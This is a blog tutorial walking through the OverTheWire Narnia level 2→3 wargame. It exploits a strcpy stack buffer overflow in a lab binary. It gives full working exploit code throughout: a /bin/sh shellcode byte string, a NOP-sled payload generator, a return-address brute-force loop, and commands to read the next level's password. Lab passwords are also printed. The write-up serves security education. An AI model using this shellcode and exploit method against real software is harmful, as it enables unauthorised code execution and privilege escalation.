Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Narnia Level 2 → 3 tutorial!!

Login

Log in with the password from Level 1 → 2 (my run gave 5agRAXeBdG).

ssh narnia2@narnia.labs.overthewire.org -p 2226
# password: 5agRAXeBdG

Why? Each Narnia stage is a separate UNIX user. To solve Level 1 → 2 you must become narnia2.


Task

Binary to exploit: /narnia/narnia2

The program copies argv[1] into a 128-byte local buffer with strcpy — no bounds checks. Overflow past the buffer to overwrite the saved return address (RET) and redirect execution into your shellcode.

Why? On 32-bit, the stack frame holds [buf(128)] [saved EBP (4)] [saved RET (4)]. If we write ≥132 bytes, RET becomes ours.


A little bit of Theory

  • Offset to RET: 128 + 4 = 132 bytes.
  • Payload layout (argv, not stdin): 104×NOP + 23-byte /bin/sh shellcode + 5×NOP = 132 bytes, then RET pointing back into the NOP block.
  • Stability: Stack addresses shift (ASLR) and the environment size changes them too. Use setarch i386 -R env -i to disable ASLR and clear env so GDB and real runs match.
  • UTF-8 pitfall: In Python 3, print("\x90") emits UTF-8 (0xC2 0x90). Always write raw bytes with sys.stdout.buffer.write(...).
  • RET must avoid \x00: If the little-endian RET contains \x00 (e.g., …00), your shell truncates the argument before overwrite → no control.

Further reading

  • Aleph One — Smashing The Stack For Fun And Profit
  • man strcpy, man setarch
  • Exploit-DB Linux stack overflow & shellcode primers

Solution

1) Verify the RET overwrite offset (132)

cd /narnia
gdb -q /narnia/narnia2 <<'GDB'
run $(python3 -c 'print("A"*132 + "BBBB")')
quit
GDB

Why? Seeing EIP=0x42424242 (BBBB) confirms the exact offset to RET is 132.


2) Calibrate on the exact layout (ASLR-off + empty env)

Start GDB with the wrapper so the stack matches the real run:

setarch i386 -R env -i gdb -q /narnia/narnia2

Run with the exact 132-byte pre-RET layout (single line):

run $(python3 -c 'import sys;S=b"\x90"*104;H=b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";P=b"\x90"*5;sys.stdout.buffer.write(S+H+P+b"BBBB")')

Dump the stack where your buffer sits:

x/200bx $esp-240

Why? You’ll see a big 0x90 block (NOP sled) followed by the shellcode bytes. Pick a RET inside that NOP block (or the first byte of the shellcode). Be sure the chosen address has no \x00 when packed little-endian.


3) Pop the shell (same wrapper, argv — not stdin)

setarch i386 -R env -i /narnia/narnia2 "$(python3 - <<'PY'
import sys,struct
SLED  = b"\x90"*104
SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
         b"\x68\x2f\x62\x69\x6e"
         b"\x89\xe3\x89\xc1\x89\xc2"
         b"\xb0\x0b\xcd\x80")
PAD   = b"\x90"*5                    # 104 + 23 + 5 = 132
RET   = 0xFFFFDD0C                   # ← replace with YOUR address (avoid ...00)
sys.stdout.buffer.write(SLED + SHELL + PAD + struct.pack('<I', RET))
PY
)"

Why? Same layout + same process wrapper ⇒ the RET you picked lands inside your sled and slides into the shellcode.

Grab the next password:

whoami
# narnia3
cat /etc/narnia_pass/narnia3

Password

This is the password from my successful run; yours may differ based on the host snapshot. Replace this with your actual output.

vaeqeuzee

Troubleshooting

  • Illegal instruction or just Segmentation fault You likely jumped outside the sled. Re-do Step 2 and pick a RET clearly inside the 0x90 region you see in GDB under the wrapper. Also make sure every generator uses:

    sys.stdout.buffer.write(b"...")
    

    (never print("\x90"... ))

  • Bash warns ignored null byte in input Your RET contains \x00 in little-endian (e.g., …dd0000 dd ff ff). Choose an address ending in …04, …08, …0c, …10, …14, etc.

  • Still not landing? Sweep a tiny range (same wrapper):

    for a in 0xffffdcf4 0xffffdcf8 0xffffdcfc 0xffffdd04 0xffffdd08 0xffffdd0c 0xffffdd10 0xffffdd14; do
      echo "[*] RET=$a"
      setarch i386 -R env -i /narnia/narnia2 "$(python3 - "$a" <<'PY'
    import sys,struct
    ret=int(sys.argv[1],16)
    SLED  = b"\x90"*104
    SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
             b"\x68\x2f\x62\x69\x6e"
             b"\x89\xe3\x89\xc1\x89\xc2"
             b"\xb0\x0b\xcd\x80")
    PAD   = b"\x90"*5
    sys.stdout.buffer.write(SLED + SHELL + PAD + struct.pack('<I', ret))
    PY
      )" && break
    done
    
  • Running from ~ says ./narnia2: No such file or directory Always cd /narnia and use /narnia/narnia2.


Copy-paste quick run

# 1) Confirm RET offset = 132
gdb -q /narnia/narnia2 <<'GDB'
run $(python3 -c 'print("A"*132 + "BBBB")')
quit
GDB

# 2) Find a RET inside the sled (ASLR off + empty env)
setarch i386 -R env -i gdb -q /narnia/narnia2
# In GDB (single line):
# run $(python3 -c 'import sys;S=b"\x90"*104;H=b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";P=b"\x90"*5;sys.stdout.buffer.write(S+H+P+b"BBBB")')
# then: x/200bx $esp-240  → pick an address inside the NOP block (avoid ...00)

# 3) Exploit with the same wrapper
setarch i386 -R env -i /narnia/narnia2 "$(python3 - <<'PY'
import sys,struct
SLED  = b"\x90"*104
SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
         b"\x68\x2f\x62\x69\x6e"
         b"\x89\xe3\x89\xc1\x89\xc2"
         b"\xb0\x0b\xcd\x80")
PAD   = b"\x90"*5
RET   = 0xFFFFDD0C  # replace with your chosen address
sys.stdout.buffer.write(SLED + SHELL + PAD + struct.pack('<I', RET))
PY
)"
whoami
cat /etc/narnia_pass/narnia3

Congrats 🎉 You just executed a classic stack buffer overflow with a stable process layout and a calibrated RET. On to Level 3 → 4!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with